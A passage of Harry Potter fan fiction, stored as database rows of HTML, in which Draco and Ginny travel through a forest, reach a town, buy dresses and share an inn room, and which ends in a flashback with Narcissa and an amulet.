damn thing back when I told you to the first time, everything would have been how it was supposed to be!&quot;</p>\n\n<p>Ginny folded her arms across her chest. &quot;If it was so important to you, you shouldn\'t have been so careless with it!&quot;</p>\n\n<p>They sat in silence again. This was becoming a pattern with them, but neither seemed too eager to break that pattern. Draco started walking along the path again, this time by the light of his wand. Ginny hesitated. She didn\'t want to be left alone in a strange, slowly darkening place. Reluctantly, she followed. Every so often Draco would look behind him to make sure she was still following. As much as he\'d like to deny it, he didn\'t want her lost and alone here. He knew better.</p>\n\n<p>Ginny walked by the light of her wand. She could see Draco\'s light in the distance, but she vowed not to stay too close. Who did he think he was to treat her like that? If he had information she should know why wouldn\'t he just tell her? Why did he have to be so damned shady all the time? &quot;Slytherins,&quot; Ginny sighed.</p>\n\n<p>Keeping pace with Draco was fairly difficult. The path wasn\'t always clear, and Ginny spent more time climbing over fallen branches and debris than he did. Draco\'s light shone at the top of the hill Ginny was climbing. She was quickly losing ground, and soon she wouldn\'t see his light at all as he headed down the opposite side of the hill. Breaking into a run, Ginny tried to catch up. Unexpectedly, a large branch fell from a tree in front of her. Ginny stumbled, lost her balance, and fell to the ground.</p>\n\n<p>Draco reached the top of the hill. From there he could see the end of the forest, although it was a distance away. Smiling with the accomplishment of scaling the hill, he turned to check on Ginny. Last he had seen, she had not been too far behind him. However, as he looked back to find her light, it was gone. Frowning, he started walking back down the hill. Why hadn\'t she been more careful? Couldn\'t she see she was wasting time? Draco looked more carefully for any signs of her. Earlier, he had heard her footsteps in the distance, now he heard nothing. With a sudden burst of speed, Draco ran to find her.</p> '),
	(155, 11, ' <p>Chapter 10 - Camp at the Hill</p>\n\n<p>Draco moved quickly, surveying the area for any signs of Ginny. He was already almost halfway down the hill, and from what he could tell, she hadn\'t made it up this far. Draco was concerned. The sky was becoming darker by the minute. \'<i>If something\'s happened to her...\' </i>Draco fought back anxiety. He\'d wanted to at least make it to the top of that hill and not be in the forest after nightfall, but it was looking more and more like that wouldn\'t happen.</p>\n\n<p>Draco\'s wand lit the ground as he scanned for tracks. He had seen nothing thus far, but suddenly came across a large slide mark. Following it, Draco caught sight of a torn patch of fabric clinging to a fallen tree branch. He was sure it was Ginny\'s.&nbsp; Picking up the scrap, he looked for its owner.</p>\n\n<p>Taking a few steps further down the hill, he found a large tree limb much like the first he\'d seen. Peeking from under it was a tousled bunch of red hair and a scratched yet delicate hand. Lifting the tree limb from Ginny\'s body, he found her on her stomach, scratched and dirty. Draco grimaced a little, but tapped her shoulder. When she didn&#8217;t move, he listened for breathing and felt for a pulse.</p>\n\n<p>Relieved that she was alive, but unimpressed with her response to his tapping, he knelt beside her. He bent his head to her ear and whispered, &quot;Weasley?&quot; He paused. &quot;Hey, Weasley, you all right?&quot;</p>\n\n<p>When she didn\'t respond, Draco turned up his nose, rolled up his sleeves and picked her up. With her face nestled against his chest and her legs draped over his right arm, Draco carried Ginny up the hill.</p>\n\n<p>When Ginny woke up, she was lying on a silky deep green cloak by a fire at the top of the hill. She wondered where Draco was. He\'d obviously found her, or she wouldn\'t have been there. Before she had more time to wonder, she heard Draco from behind her.</p>\n\n<p>&quot;Seems Miss Sleepy Weasel\'s woken up, hmm?&quot;</p>\n\n<p>Ginny grumbled in response. Draco walked up to the fireside and dropped the armful of kindling he\'d found into a pile. He turned to look at her again. &quot;You don\'t look so great.&quot;</p>\n\n<p>Ginny felt awful. Her whole body was scratched and scraped, and her head pounded like she\'d been drinking for days on end. Draco pitied her condition but couldn\'t hold back a chuckle when he looked at her clothing. It wasn&#8217;t in much better shape. Her sweater was torn to shreds and her old black skirt was badly tattered.</p>\n\n<p>&quot;Malfoy!&quot; Ginny squealed and covered herself up with his cloak.</p>\n\n<p>Draco looked perplexed. &quot;What?&quot;</p>\n\n<p>&quot;Stop looking at me!&nbsp; I\'m nearly naked!&quot;</p>\n\n<p>She was right. Her sweater had revealed much more when she had sat up than when she\'d been lying down.</p>\n\n<p>Draco smiled. &quot;I don\'t know&#8230;have you ever thought of making a profession of that?&quot;</p>\n\n<p>Ginny frowned at him warily. &quot;Of what?&quot;</p>\n\n<p>&quot;Make a little money for your family...wouldn\'t have to pay for clothes...&quot; He snickered a little, though he wouldn\'t have minded much if she walked around with her sweater like that.</p>\n\n<p>Ginny slapped him. To Draco, it had come out of absolutely nowhere. He touched a hand to his cheek and looked at the little girl standing in front of him.&nbsp; Her cheeks were burning red and a scowl had come over her face. Her eyes pierced him with her anger. She spoke slowly. &quot;Don\'t you ever talk to me like that again.&quot;</p>\n\n<p>Draco\'s cheek stung. &quot;So that\'s what I get for going back to rescue you, carrying you up a huge, steep hill and giving you my cloak?&quot;</p>\n\n<p>&quot;No, that\'s what you get for implying things you shouldn\'t have.&quot; They stood in silence for a moment. Ginny\'s eyes seemed to soften a little. &quot;But I\'m glad you brought me up here.&quot;</p>\n\n<p>Draco looked at the scratches on her arms. &quot;What happened to you anyway?&quot;</p>\n\n<p>Ginny rubbed her aching arms and legs. &quot;I was following you up the hill, and a tree limb fell and hit me in the chest. I fell backward and rolled down the hill with it. I don\'t remember much after that. Where did you find me? How did you know something happened to me?&quot;</p>\n\n<p>Draco threw some kindling into the fire. &quot;Your light went out and I came to get you. Can\'t have you wandering around forests after dark. Anyway, you were under a different branch than the one that hit you in the first place, I think. You probably hit it on your way down.&quot;</p>\n\n<p>Ginny wrapped herself in Draco\'s silky cloak and sat near him. &quot;Thank you for helping me. For coming to get me. I really appreciate it.&quot;</p>\n\n<p>Draco flipped his hair and stood up. &quot;Yeah, forget about it, all right?&quot; He looked around the area. &quot;We\'ll stay here tonight.&quot; He pointed to the left. &quot;There\'s a rivulet off that way. You can wash up a little there if you want.&quot;</p>\n\n<p>Ginny figured water was probably a good idea. If she could clean her cuts and get all the dirt off, she\'d probably be much more comfortable. She walked the short distance in the direction Draco had said the rivulet would be. Finding a clear area, she disrobed and touched her foot to the water. She wavered. It was very cold, but she was also very dirty. Braving the water, Ginny stepped in.</p>\n\n<p>Draco spent his time adding little sticks to the fire while waiting for Ginny to come back. He slouched, breaking the little sticks into even smaller pieces before throwing them into the fire. He didn\'t much like the idea that he was waiting on her, let alone caring how she was feeling. To shake off his thoughts, Draco left to get more firewood. Why was she irritating him so? He used to be able to sit alone for hours without needing to move around and be with people. No, he didn\'t need her. People came to Draco Malfoy, not the other way around!</p>\n\n<p>But in that moment, he heard it. He couldn\'t see her, but he could faintly hear her singing.</p>\n\n<p>Draco stopped and listened to her sing. It was a sweet, slow song that pleased and relaxed him. He stepped closer to hear her more clearly. She was combing through her hair with her fingers when he finally found her. She was standing waist deep in the water, her back to him. The moonlight bathed her with an ivory glow that made her look soft despite her scratches, and her hair appeared darker than usual because of the water. In his mind, she was singing for him. Normally, if he were imagining a Weasley singing for him, that daydream would end with him laughing. But he didn\'t feel like laughing at all. He wanted to kiss her and touch her and nothing else would matter as long as they were there in the moonlight. He leaned closer, to watch her move in the water.&nbsp; </p>\n\n<p>He recoiled.<i> \'No</i>,\' he thought. He shouldn\'t be thinking these things. He shouldn\'t be watching her, listening to her. He needed to get out. He turned to head back to the camp. His pant leg caught on a bush next to him, making the whole plant rustle.</p>\n\n<p>Ginny stopped singing. She turned quickly, her arm covering her breasts and opposite hand pushing the hair from her face. She looked around, and with a bit of a worried look turned to exit the water. Draco cursed, moving swiftly back to the fire and sitting next to it as if he had been the whole time. He put on a nonchalant face and took out his wand.</p>\n\n<p>When Ginny came back from her bath, she found Draco sitting by the fire just as she left him. He had a charm going on his wand that left little colorful sparkles in a trail behind its tip. He was drawing circles when he saw her approaching. Putting the wand away, he looked at her. She was dripping wet, wrapped in his cloak, and it looked as if she was on the brink of tears. &quot;Water that scary, Weasley?&quot;</p>\n\n<p>Ginny glared at him and produced her own wand from the skirt she was carrying. It had snapped in two different places. She had just noticed, and her face was filled with sorrow and desperation. She sunk to her knees next to the fire.</p>\n\n<p>&quot;There\'s nothing I can do, is there...&quot; She spoke with pure lack of hope. &quot;There\'s no one who can fix it...&quot; She looked up at Draco. &quot;...is there?&quot; He shook his head. With resignation, Ginny tossed her broken wand into her pile of shredded clothes. Draco positioned himself on the most level ground near the fire and went to sleep.</p>\n\n<p>Ginny looked at him. She didn\'t know why she hadn\'t told him she\'d seen him in the bushes by the water. She could have yelled at him, but she didn\'t. She was more interested in what he could have been thinking watching her there, hearing her sing. She eyed him suspiciously. He didn\'t need to know. With an odd smile, Ginny curled into Draco\'s cloak and fell asleep.</p> '),
	(155, 12, ' <p>When Ginny woke up the following day, Draco was gone. His cloak still wrapped around her, she sat up. A couple feet away, the remains of last night\'s fire stood in ashes, and light peeked through the trees above her. Nothing was left behind to show Draco had ever been there.</p>\n\n<p>&quot;That figures. He\'s never there when I wake up.&quot;</p>\n\n<p>&quot;Why do I need to be? Should I stay in the same place for hours while I wait for you to wake up? Just because I don\'t sleep &#8216;til noon...&quot;</p>\n\n<p>Ginny flipped around to look at him. She looked to her left and right, finally standing up in confusion. Draco\'s voice was close, but she couldn\'t find him.</p>\n\n<p>Draco laughed. &quot;Up in the trees, nitwit.&quot;</p>\n\n<p>Ginny looked up. He was several feet up, on a tree branch that was right above her.</p>\n\n<p>&quot;What are you doing up there?&quot; Ginny smirked. &quot;Aren\'t your pretty little clothes going to get dirty?&quot;</p>\n\n<p>&quot;These?&quot; Draco laughed again. &quot;I\'ve got tons of these back at the castle. I\'m sure you don\'t know what that\'s like, though, do you? Having more than one set of clothes?&quot;</p>\n\n<p>&quot;And I bet you\'ve never had anything that someone has made for you, put time and love into. A dress shop can\'t do that.&quot;</p>\n\n<p>Draco just shrugged. Looking up, he scaled another branch, moving higher into the tree.&nbsp; Ginny cupped her hand over her eyes to block the sun, looking at him. &quot;What are you doing up there anyway?&quot;</p>\n\n<p>Draco kept climbing. &quot;Looking to see if there\'s anything but forest around here. So far, no.&quot; He climbed further. Ginny watched him climb, thinking about the people back home.</p>\n\n<p>&quot;Nice view, eh, Weasley?&quot;</p>\n\n<p>Ginny snapped out of her thoughts. &quot;What?&quot; she called up to him.</p>\n\n<p>&quot;Nice view from down there?&quot; Draco didn\'t turn to look at her reaction, but searched the horizon for anything that wasn\'t a tree.</p>\n\n<p>Ginny took the opportunity to put her tattered clothes back on under the cloak. Tucking her broken wand into her pocket, she began to walk onward, down the hill. As far as she could see, there was foliage. It seemed endless to look at, but she figured she had to start somewhere.</p>\n\n<p>&quot;Weasley!&quot; Jumping from the tree he\'d been in, Draco landed several yards behind Ginny. &quot;Hey!&quot;</p>\n\n<p>Ginny turned. &quot;What?&quot;</p>\n\n<p>He ran to catch up with her. &quot;If you would have waited,&quot; he said poignantly. &quot;I would have been able to tell you that we need to head that way.&quot; Draco pointed to their right.</p>\n\n<p>Ginny looked at him curiously. &quot;Just where are we going anyway?&quot;</p>\n\n<p>&quot;I saw the end of the forest up ahead. Or, if you prefer, you can stay in the forest again tonight.&quot; Draco turned to walk in the direction he had pointed to. Ginny followed him at his side.</p>\n\n<p>They walked for an hour before Draco got the courage to talk to her. The trouble with talking to Ginny was that he was worried she wouldn\'t want to talk with him. Not like a human being at least. He didn\'t want to talk about Voldemort and Slytherin and those horrible brothers of hers. He wanted to know what she was passionate about, her fears, her ideas on the upcoming election for Ministry positions, anything.</p>\n\n<p>&quot;So, your family\'s pretty poor, huh?&quot; Those had been the first words out of his mouth in an hour, and Draco nearly hit himself for saying them. All his good intentions had been shot with one question.</p>\n\n<p>Ginny looked at him bitterly, but she sensed that he hadn\'t meant his words as they had come out. &quot;Things have gotten better since Charlie and Bill have gotten married and Fred and George have moved out.&quot; She paused to see if he was paying any attention to her words. It looked as if he was, so she went on. &quot;Percy\'s in the ministry administrative offices now.&quot; Ginny laughed as she spoke. &quot;He\'s hoping to become advisor to the Minister, but honestly, I can\'t imagine Percy advising anyone.&quot;</p>\n\n<p>Draco smiled a little.&nbsp; He couldn\'t imagine Percy as fit for anything but a chimney sweep, but, for once, he kept his mouth shut.</p>\n\n<p>Ginny continued, &quot;Mum hasn\'t had as many kids around the house to cook for and keep an eye on. I think it makes her a little sad that we\'re growing up. I mean, I\'m the baby of the family, and I\'m not really a baby anymore.&quot; Draco looked her up and down. She had that right. &quot;But it does help finances. Not nearly as many people in the house as there used to be. She still sends all of us care packages though. Fudge, clothes and anything else she happened to pick up that we could need. Teapots, broom polishing kits...&quot;</p>\n\n<p><i>Man, that girl can talk</i>, Draco thought. He smiled, though. She was talking to him, and normally, like any friend she\'d talk to. He wondered if she knew that her eyes sparkle when she talks about her family.</p>\n\n<p>&quot;...she even sent me a sewing kit every term until I insisted I didn\'t need any more.&quot; She paused. &quot;Why are you looking at me like that?&quot;</p>\n\n<p>Draco caught himself. &quot;Looking at you like what?&quot;</p>\n\n<p>A few wisps of hair fell into his stern, confused eyes as he\'d asked his question. Ginny studied his face a moment. She could only compare the expression to how she felt when she saw a flower she hadn\'t seen before. Softened, but thoughtful. Ginny found it curious that he even had an expression like that. Maybe it hadn\'t even existed, it happened so quickly, but it was enough to make Ginny pay more attention from that moment on.</p>\n\n<p>&quot;Never mind,&quot; she said. Suddenly, she stopped walking. Looking ahead, she could see the end of the forest and a small town beyond that. She told Draco, the excitement apparent in her voice, &quot;We can eat! It\'s been so long since I\'ve eaten a real meal. C\'mon, let\'s go!&quot;</p>\n\n<p>Draco nearly laughed at how ridiculous she sounded, but then again, he was pretty hungry too. He followed her as she ran toward the sunshine at the end of the forest.</p>\n\n<p>When they reached the clearing, Ginny was running low on energy. She had only eaten berries since she left Hogwarts, and she\'d just run about two and a half miles. She sat on the grass, finally laying down, resting her head on her arms. When Draco caught up with her, he was gasping. He stopped and bent over, his hands on his knees, while he caught his breath.</p>\n\n<p>Ginny giggled. &quot;For a Quidditch star, you sure run out of breath quickly!&quot;</p>\n\n<p>Draco glared at her. &quot;I direct a broom. I don\'t do long distance running.&quot;</p>\n\n<p>&quot;Touchy...&quot;</p>\n\n<p>Draco glared again at her response. &quot;Where the hell do you get all that energy from, anyway?&quot;</p>\n\n<p>Ginny grinned. &quot;Years of running after and away from six brothers.&quot;</p>\n\n<p>Draco\'s head hurt at the thought. &quot;There\'s no way I could handle that many Weasleys. Or brothers for that matter.&quot;</p>\n\n<p>Ginny stood up and started walking toward town. &quot;Handle seven Weasleys?&quot; She looked back over her shoulder at him and grinned. &quot;You can\'t even handle one.&quot;</p>\n\n<p>Draco straightened and planned to retort, but he didn\'t have time. Ginny had started running toward town.</p>\n\n<p>&quot;Bloody hell, not again.&quot; Draco took a deep breath and ran after her.</p>\n\n<p>Ginny slowed down pretty quickly. She had reached a stone pathway and was following it to town when Draco caught up. He stopped her by the shoulder, breathing heavily and pointing his index finger at her.</p>\n\n<p>&quot;Now you listen, Weasley. You have to stop running off like that. I\'m the only protection you\'ve got here. We don\'t know what this town is like. And besides&#8230;&quot; He looked at her clothes from under his cloak she was still wearing. &quot;I do have the right to ask for my cloak back.&quot;</p>\n\n<p>Ginny blushed a little. He was right, he was her only protection here. She looked at the town. It seemed respectable enough, but&#8230; She abided by his request.</p>\n\n<p>Draco and Ginny walked along the path until they saw the first signs of town. A weathered building stood on the corner of the first crossroads they came to. Ginny was delighted, since it was the first one she had seen in days. Its old brick walls were covered in ivy, and a carved wooden post swung from a post hanging above the door.</p>\n\n<p>When they entered The Wooden Duck, the grayed barman motioned Draco and Ginny to the bar. &quot;Mr. Malfoy,&quot; the old man said with a twinkle in his eye, &quot;good to finally meet you.&quot; Draco nodded in acknowledgement. The barman smiled. &quot;Your father never said you\'d be bringing a lady...&quot; Ginny couldn\'t help her smile when the man kissed her hand. &quot;Drink for the lady?&quot;</p>\n\n<p>Ginny gladly accepted the drink as well as a helping of fish and chips. Draco joined her, taking the stool next to her at the bar. When they finished their food and drink, Ginny went outside to have a look around while Draco paid the tab with the money that had been in his pocket. He was about to leave his seat when the barman called to him.</p>\n\n<p>&quot;Mr. Malfoy...&quot; The bearded man handed Draco an envelope with a green seal holding it shut. &quot;...your father left this for you. Oh, and...&quot; Draco turned, his hand resting on the wooden door. &quot;...she\'s a good girl.&quot;</p>\n\n<p>Draco nodded and left to catch up with Ginny.</p> '),
	(155, 13, ' <p>Chapter 13 - The Bird and the Bet</p>\n\n<p>As Draco walked outside, he opened the sealed envelope. In it, he found a fancy piece of parchment, as well as a great deal of money. Draco opened the letter.</p>\n\n<p><i>Son,</i></p>\n\n<p><i>Congratulations on your graduation! Your father and I are so proud of you. I hope things have gone as planned with your end of the year testing. I know your father is set on your helping his business in </i><st1:country-region><st1:place><i>Belgium</i></st1:place></st1:country-region><i>, but if you can find something better for you here, you\'ll be a lot happier. I enclosed some money to help your travels. As I told you when I gave you my amulet, it\'s your turn to find your future. Good luck!</i></p>\n\n<p><i>Mother</i></p>\n\n<p><i>PS: If your father asks you, this letter is reminding you of your obligations. That\'s what I told him when I had him drop it off at the Wooden Duck for me.</i></p>\n\n<p>Draco folded the letter into his pocket and dropped the money in a pouch. After looking around, he found Ginny sitting on a white iron park bench just outside the tavern. She hadn\'t seemed to notice that Draco had left the tavern yet. Ginny seemed to be studying a little grey bird in the street. Draco walked up behind her. &quot;Is this what you always&#8211;&quot;</p>\n\n<p>Ginny put her hand over his mouth, shushing him. &quot;Watch it,&quot; she whispered. She stared at the bird until it looked her in the eyes. It was an odd bird, its eyes holding much more knowledge than a normal wildlife creature\'s would. Cocking its head to the side, it seemed to be studying Ginny as well. Unlike any undomesticated bird Draco had ever seen, the little bird was getting closer, walking instead of flying toward Ginny. It was then that Draco noticed its blue underside...</p>\n\n<p>He knew what it was! Draco remembered hearing about this from Hagrid. Although he hated to admit he\'d ever learned anything from that oaf, he did remember this. That little bird could turn her into a pile of dust. The bird would challenge her and if she failed...dust. Draco\'s thoughts raced through his head. Didn\'t she know? If she did know why would she take the risk? Then Draco thought about the worst that could happen. She\'d turn to dust, he\'d be on his own, no more Ginny. No more silly laughter and running to catch up. Yes, that would be lovely. Draco crossed his arms, walked a couple paces backward and watched.</p>\n\n<p>The bird was only a couple feet from Ginny and coming closer. Draco\'s thoughts whirred through his head again. No more Ginny. Yes, on his own. Mhm. The bird was only a foot away. Suddenly, Draco changed his mind. No more Ginny. He\'d be on his own with no more silly laughter or running after her. As much as he hated thinking it, he couldn\'t bear the thought of being here on by himself.</p>\n\n<p>The bird took flight to land on her hand. Draco couldn\'t let this happen. &quot;Ginny!&quot; Draco shouted as he dove at her, pushing her from the bench to the ground. Ginny had let out a surprised shout as Draco\'s body toppled onto hers. The two of them landed on the stone pathway with a thud.</p>\n\n<p>Any normal bird would have flown away in that commotion, but the little grey bird perched on the back of the iron bench. Draco looked up at it. It smiled, catching Draco off guard. As far as he knew, birds didn\'t smile, but at this point, nothing would really surprise him. In a deep female voice that seemed rather familiar, the little bird spoke to Draco. &quot;Smart boy.&quot;</p>\n\n<p>Winking at Draco, the bird flew a couple feet into the air before exploding into a shower of silver sparkles. Ginny gasped as the sparkles fell into her hair and coated Draco\'s back. It had been a Periclitari. She hadn\'t recognized it, but she saw it now. It had challenged her, but Draco had taken the challenge for her. Not only had he not let her turn to dust, he\'d taken the risk himself for her.</p>\n\n<p>Draco was propped up by his arms on either side of her, looking at where the bird had been sitting. When he looked back at her, Ginny felt a spark shoot through her body. When he had shouted for her... <i>He called me Ginny...</i></p>\n\n<p>&quot;Are you okay?&quot; Draco asked her.</p>\n\n<p>Flustered, Ginny nodded furiously.</p>\n\n<p>When they stood up, Draco noticed a necklace on the bench where the bird had been. It was a delicate, silver necklace with diamond and crystal pendants hanging in a triangular shape from its circular chain. They both gasped &#8211; Ginny because it was so beautiful, but Draco because he knew this necklace. Attached to its chain was a little parchment note. He picked it up. It read, simply, &quot;<i>Your turn.</i>&quot; Quickly, he shoved it into his pocket before Ginny could read it. Ginny looked perplexed, but followed Draco as he directed her attention away from the necklace and toward a nearby dress shop.</p>\n\n<p>The shop was clean and white walled, with a comfortable sitting area as well as racks upon racks of clothing. Draco had his hands on his hips inspecting the shop. &quot;This\'ll have to do,&quot; he said, taking a few steps into the store. Draco noticed he was several steps ahead of Ginny because she was still standing in the doorway in shock. &quot;Problem?&quot; he asked her, grabbing her hand and leading her to a nearby rack.</p>\n\n<p>&quot;What are we doing in here?&quot; Ginny asked as she was pulled toward a rack filled with lots of expensive dresses.</p>\n\n<p>Draco didn\'t answer at first, but inspected a sunshine yellow dress with a flowing skirt before throwing it over his arm. &quot;I\'m finding you some clothing. Unless you\'d rather wear your shreds of an awful sweater and skirt. Besides,&quot; he said looking her up and down, &quot;I want my cloak back.&quot;</p>\n\n<p>Ginny followed Draco as he picked up increasingly gorgeous dresses. She tried not to look at price tags, feeling everything here must cost nearly as much as her family spent on her in a year. However, with each dress Draco picked up, Ginny fell more into the shopping spirit. Occasionally, he\'d hold a dress up to Ginny to judge if he liked it or not, then throw it over his arm.</p>\n\n<p>Laying the dresses over a dressing room door, Draco gestured for Ginny to go inside. &quot;Go try those on. I\'ll wait here.&quot; Draco went to sit on a couch near the dressing area. Ginny went into the little room and locked the door. Holding up the first dress, the yellow one, she unzipped the back. Stepping into it, she noticed how silky it was. Zipping it up, Ginny walked out to show Draco.</p>\n\n<p>The dress had almost off the shoulder, flowing yellow sleeves and a curved V neck that complemented her collarbone nicely. It just barely clung at her waist, flowing into a loose skirt, which Draco thought suited her as well. He smiled to himself. <i>She could still run in that one</i>. He walked up behind her and adjusted the back, then let down her hair. Walking back, he took a final look.</p>\n\n<p>Ginny tilted her head and smiled. &quot;So?&quot; She twirled, and the skirt spun around her. </p>\n\n<p>Draco nodded. &quot;Good. Try the next one.&quot;</p>\n\n<p>He soon didn\'t like the fact that every dress Ginny tried made her look more beautiful than the last. The purple dress with the spaghetti straps was nice, the red one was nicer, but the green one made him want to touch her, hold her.</p>\n\n<p>&quot;What do you think of this one?&quot; she asked him. She wore an emerald green silk dress with bell sleeves and a silver scooped collar. He marveled at her. She looked amazing in Slytherin colors... He&#8217;d always thought Ginny to be pretty, but out of those baggy sweaters she could have been the cover girl for Witch Weekly.</p>\n\n<p>&quot;Mhm. Yeah. Okay. We can go now.&quot; He turned quickly, threw a pile of clothing over his arm and motioned Ginny to the check-out counter. After paying for a robe and four dresses, Draco and Ginny left the dress shop.</p>\n\n<p>The streets were becoming more vacant as night overcame the town. A couple blocks from the dress shop stood an inn with a black shingled roof and dark blue shutters. An old woman with sparkling eyes sat at the counter inside, knitting white woolen socks. She smiled when her visitors approached the desk. &quot;Is there anything I can help you with?&quot;</p>\n\n<p>Draco grabbed his money pouch. &quot;How much will a double room be?&quot;</p>\n\n<p>The old woman looked hospitably at the two young people. &quot;A double room?&quot;</p>\n\n<p>Draco wrinkled his brow. &quot;Yes, a room with two beds in it?&quot;</p>\n\n<p>&quot;Oh,&quot; the woman said, &quot;we\'ve already reserved our family room for the Mullins family. They\'re a family of six, you know.&quot; The lady went back to knitting her socks.</p>\n\n<p>Draco looked a little irritable. &quot;What do you have open then?&quot;</p>\n\n<p>In the end, Draco and Ginny ended up with room 16 on the second floor. It had a dresser, a queen sized bed, a couch, a cooler and a small rack of wizarding magazines in the main room. To the right of the front door there was a bathroom with a shower, and a closet opened on the left-hand side. Draco pulled some butterbeer out of the cooler and handed one to Ginny. Sitting on the couch, the two of them each took a magazine from the rack and started to read.</p>\n\n<p>Ginny\'s vision began to blur the words on the pages. It was nearly two hours past her usual bedtime, and Ginny was tired. Yawning and standing up, she told Draco she was going to bed. He agreed, and by the time Ginny came back form washing her face, he was under the covers in the bed.</p>\n\n<p>Ginny worked on braiding her hair for bed. &quot;What do you think you\'re doing?&quot;</p>\n\n<p>Draco fluffed the pillow under him and smirked. &quot;Going to bed.&quot;</p>\n\n<p>&quot;Not there, you\'re not.&quot;</p>\n\n<p>&quot;Oh really?&quot; Draco put his hands behind his head. &quot;Why not? I paid for this room, I should have a right to take the bed.&quot;</p>\n\n<p>Ginny sulked a little. Finishing her hair and grabbing a pillow from the bed, she headed for the couch.</p>\n\n<p>&quot;You know, you could just sleep next to me.&quot;</p>\n\n<p>She noticed he was shirtless as he sat up in bed. She continued to prepare her bed. &quot;I don\'t think so.&quot; She threw herself onto the couch. The force of her jump knocked the piece of furniture backward. Standing up and tipping the couch back to a standing position, Ginny began to reassemble her bed.</p>\n\n<p>&quot;You know what.&quot; He stood up. &quot;I\'ll offer you a deal.&quot;</p>\n\n<p>Ginny turned, putting the pillow case back on her pillow. &quot;What?&quot;</p>\n\n<p>&quot;If I kiss you and you feel nothing, you can have the bed and I\'ll take the couch. But if you do feel something between us, you share the bed with me.&quot;</p>\n\n<p>Ginny blinked in shock. Then she narrowed her eyes. He was joking. He had to be. She was about to open her mouth to reject his proposal when she noticed he was already moving closer.</p>\n\n<p>Everything seemed to happen at once. Draco\'s arm held her around her waist and his body pressed against hers. Her chest was so close against his, she knew he could feel how fast her heart was beating, and his rich scent filled her. For a moment, her head had been lying against his shoulder, until he cupped her face with his hand, moving it upward. </p>\n\n<p>From under her fringe of eyelashes, she looked up at him. There was a look in his eyes she\'d never seen, a steady, strong, longing sort of look that made her melt inside. It was then that his lips pressed against hers. It was more gentle than she would\'ve thought him capable of. A strong electric feeling moved through Ginny\'s body, from her fingertips to her toes. She had never felt anything as strongly as she did that moment. Not with Seamus, not with Dean, nor for Harry. The world, in that moment, was Draco.</p>\n\n<p>Ginny melted into the kiss. Her fingers went through his hair and her other arm folded around his neck. All the while, Draco held her cheek, cradling her through the greatest kiss she\'d ever had. He pulled her closer, savoring the feeling of his lips against hers, his body against hers. Finally, slowly, he pulled away. &quot;So?&quot; </p>\n\n<p>Ginny was still dizzy. She didn\'t know how to respond. &quot;Nothing,&quot; was the first thing out of her mouth.</p>\n\n<p>Draco looked into her eyes. She looked as if she were longing to be kissed again, to be held and caressed. He knew she had felt the connection he had. The way she had responded to him...but she had said no. She said she didn\'t feel anything. Even if that wasn\'t true, she still wouldn\'t let him win the bet. &quot;Okay,&quot; he said with a hint of disappointment in his voice. He picked up his pillow, threw a blanket on the couch and followed it himself.</p>\n\n<p>Draco listened to her breathing until he was sure she was asleep. Looking at her one last time for the night, he whispered to her, so softly that had she been awake she might not have heard it. &quot;Goodnight, Ginny.&quot;</p>\n\n<p>*Periclitari - Latin [to try, make a trial, to test, to prove, venture; to take a risk, be in danger]</p> '),
	(155, 14, ' <p><i>Draco</i><i> was in his bedroom. His mother had set up the morning\'s tea and had just called him into the sunroom. Throwing on a shirt and slacks, Draco headed to join her. The room was exquisite, as were all other rooms in the Malfoy castle. In winter, as it was now, it seemed especially bright, the sun\'s rays reflecting off the snow.</i></p>\n\n<p><i></i></p>\n\n<p><i>Draco\'s</i><i> mother sat at a carved wooden table near a window on the east wall, pouring tea into a decorative china cup.</i><i> When she noticed Draco enter the room, she tilted her head up to look at him, giving him a glimpse of a silver necklace she wore. She gave him a half smile. Draco didn\'t need to be told to sit at the table, he\'d done this every Thursday morning during the holidays since turning six. Father left on Thursdays for business meetings, and since he was gone and Draco wasn\'t at school, Narcissa took that time to talk to her son.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Did you sleep well, my dear?&quot; Draco nodded. Narcissa filled his cup with tea. &quot;I know this school year has been difficult for you so far, Draco, but you know that your future does depend on your choices this year.&quot; Draco had heard this before. He nodded in acknowledgement. &quot;I know your father has spoken with you about your obligations to the family many times, but I want you to know that your future is yours, not his.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Draco</i><i> tried not to show the surprise that he felt when she said it, but it was impossible. His parents had been planning to make him partner in his father\'s company by marrying Pansy Parkinson. The idea revolted him. If Draco married Pansy, Mr. Parkinson would give him the half of Lucius\' company that he owned. Draco\'s father\'s dream was to run the whole company within the family and figured Pansy was just a bonus that Draco would get out of the deal.</i></p>\n\n<p><i></i></p>\n\n<p><i>Narcissa</i><i> sipped at her tea and asked him something neither of his parents had ever bothered to ask him. &quot;Do you want to marry the Parkinson girl?&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Draco</i><i> looked up at her. &quot;I don\'t. She\'s one of the last people on the planet&#8211;&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Narcissa</i><i> put her hand up to shush him and stood up to call a house-elf to the room. A small elf appeared in the doorway. &quot;Yes, Madam, may Dippy help you?&quot; Narcissa instructed Dippy to tell her if Mr. Malfoy arrived home early. Dippy complied and exited the room. Narcissa locked the door before she returned to her tea.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;She\'s an awful girl and no choice for a son of mine. Draco, I know you aren\'t fit for a life in offices and dark work.&quot; She pulled a velvet pouch from her pocket and placed it on the table. &quot;Many years ago my mother gave this to me to help me decide whether or not to marry your father.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Draco</i><i> pulled an amulet out of the pouch and looked at it as she continued.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I loved a man I had met in school, but your father had an interest in me. Before I used the amulet, I had no intention of marrying him. After, I realized marrying Lucius was more important. Once I used it, I saw you. I saw the great things that could come from a son by Lucius. That\'s why I know you have a future, Draco. If I had seen a son that would sit in an office doing his father\'s work, it wouldn\'t have been worth it.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Draco</i><i> looked up at her. He knew she meant what she said and had been waiting for this day for a long time. &quot;I want you to take it, Draco. I want you to find what it is that will make you happy. Whether your father is upset or not, I\'ll help you. You\'ll know I\'m there.&quot; She smiled as Draco put the amulet into his pocket.</i></p>\n\n<p><i></i></p>\n\n<p><i>A frantic knocking at the door broke the silence of the moment. &quot;Mrs. Malfoy! Madam!&quot; Draco\'s mother unlocked and opened the door for the house-elf. &quot;The Mr. Malfoy has arrived!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Narcissa</i><i> thanked him and turned to Draco. &quot;Use it at graduation. The stone will go up the color scale; when it turns white, it\'ll activate. What you find there will be the best path for your future. It brought 